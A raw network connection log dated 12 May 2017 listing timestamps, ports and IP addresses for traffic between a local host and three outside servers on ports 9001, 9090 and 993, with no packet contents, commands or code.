May 12, 2017 18:55:03.722676039 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.722681999 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.722834110 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.722848892 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.722857952 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.722863913 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.722870111 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.722875118 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.722881079 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.722886086 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.723747969 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:55:03.723850012 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.725661039 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:03.725915909 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.725940943 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.725955009 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.727032900 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.727215052 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.760489941 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:03.760680914 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:55:03.760716915 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:03.764453888 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.764478922 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.764652967 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.764693975 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.882534981 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.882574081 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.882582903 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.882827997 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.884190083 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.884224892 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.884244919 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.884308100 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.886853933 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.886877060 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.886959076 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.886979103 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.891691923 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.891712904 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.891856909 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.891875029 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.917974949 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.918004990 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.918015003 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.918168068 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.918203115 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.936467886 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:03.965814114 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.966037989 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.966073990 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.975198984 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.975222111 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.975311041 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.975327015 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.975347042 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.975346088 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.975373030 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.976541996 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.979590893 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.979614019 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.979624033 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.979815006 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.984472990 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.984492064 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.984499931 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.984654903 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.991095066 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.991134882 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.991144896 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.991297007 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.991322041 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.992453098 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.992485046 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.992597103 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.992614031 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.994338036 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.994362116 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.994460106 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.994479895 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.996859074 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.996891022 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.996985912 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.997003078 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.997014046 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:03.997071028 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:03.997092009 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:04.000590086 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:04.001455069 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:04.003721952 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:04.003745079 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:04.003853083 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:04.003879070 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:04.117835999 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:04.118035078 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:04.118066072 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:04.152447939 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:04.152513981 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:04.340449095 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:04.340512991 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:04.584455013 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:04.584611893 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:06.316457987 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:06.316530943 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:07.252445936 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:07.252562046 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:55:09.307487011 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:55:09.307518005 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.307532072 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.307539940 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.307545900 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.307553053 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.307559967 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.308046103 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:09.308067083 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.308075905 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.308083057 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.308387995 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:55:09.308402061 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.308408976 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.308413982 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.308419943 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.308936119 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:55:09.308976889 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.308984995 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.308989048 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.308994055 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.309000015 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.309005022 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.309010029 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.309015989 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.309020996 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.309026003 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.309031010 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.309031010 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:09.309036970 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.309051037 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.309056044 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.309062004 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.310343027 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:09.310360909 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.310895920 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:09.310915947 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.310925007 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.310930967 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.310936928 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.310941935 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.310949087 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.310955048 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.310960054 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.312609911 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:55:09.312865019 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:09.312889099 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.312901020 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.312907934 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.312913895 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.312918901 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.312925100 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.312931061 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.312936068 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.316600084 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:09.316642046 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.316728115 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.316734076 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.316739082 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.316744089 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.316749096 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.316754103 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.316759109 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.320614100 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:09.320652008 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.320664883 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.320671082 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.320677042 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.320682049 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.320687056 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.320692062 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.320697069 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.324595928 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:09.324645996 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.324661016 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.324667931 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.324675083 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.324681044 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.324686050 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.324692011 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.324697971 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.328634977 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:09.328687906 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.328702927 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.332611084 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:09.524463892 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:09.524647951 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:55:09.548464060 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.744247913 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:09.980467081 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:09.980600119 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:10.460453987 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:10.460633993 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:11.420500994 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:11.420676947 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:13.344468117 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:13.348615885 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:16.447396040 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:55:16.447422028 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:17.200460911 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.200676918 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:17.746613026 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:55:17.746632099 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:17.747288942 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:17.747306108 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:17.747927904 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:17.750457048 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:55:17.750471115 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:17.751125097 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:17.751138926 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:17.751641035 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:17.751835108 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:17.751847029 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:17.752192020 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:17.753045082 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:55:17.753070116 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:17.753295898 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:17.753315926 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.753324986 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.753331900 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.753380060 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:17.753912926 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:55:17.753937006 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:17.754164934 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:17.754179001 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754188061 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754194021 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754201889 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754210949 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754228115 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754235029 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754240990 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754296064 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:17.754322052 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754331112 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754337072 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754344940 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754357100 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754364014 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754370928 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754414082 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754439116 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754503965 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:17.754519939 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754528046 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754534006 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754542112 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754548073 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754555941 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754561901 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754570007 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754575968 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754782915 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:17.754795074 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:17.754868031 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:17.754883051 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754890919 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754897118 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754904985 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754910946 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754930019 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754937887 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754955053 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754961967 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.754967928 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.755831003 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:17.755908012 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:17.755922079 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.755930901 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.755939007 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.755945921 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.755951881 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.755959988 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.755968094 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.756520033 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:17.756875992 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:55:17.756974936 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:17.757224083 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:55:17.757448912 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:17.757462025 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:17.757900953 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:17.757922888 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:17.759335041 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:55:17.759349108 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:17.759948969 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:55:17.759962082 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:17.800456047 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.800543070 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:17.800556898 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:17.988446951 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:18.216459036 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:18.216757059 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:18.672454119 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:18.672594070 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:20.106338024 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:55:20.106363058 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:55:20.110799074 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:20.110821962 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.110837936 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.110846996 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.111411095 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:20.111429930 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.111443996 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.111450911 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.111455917 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.111462116 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.111469030 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.111474991 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.111480951 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.111613035 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:20.111633062 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.111644030 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.111650944 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.111658096 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.111668110 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.111674070 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.111677885 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.111681938 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.111686945 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.111690998 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.111857891 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:20.111871958 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.111999989 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:55:20.112014055 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:55:20.112099886 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:20.112121105 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.112132072 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.112138033 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.112143993 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.112149954 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.112154961 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.112160921 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.112166882 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.112171888 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.112178087 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.112776995 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:20.112802982 CEST	9001	49198	79.137.85.71	192.168.1.16
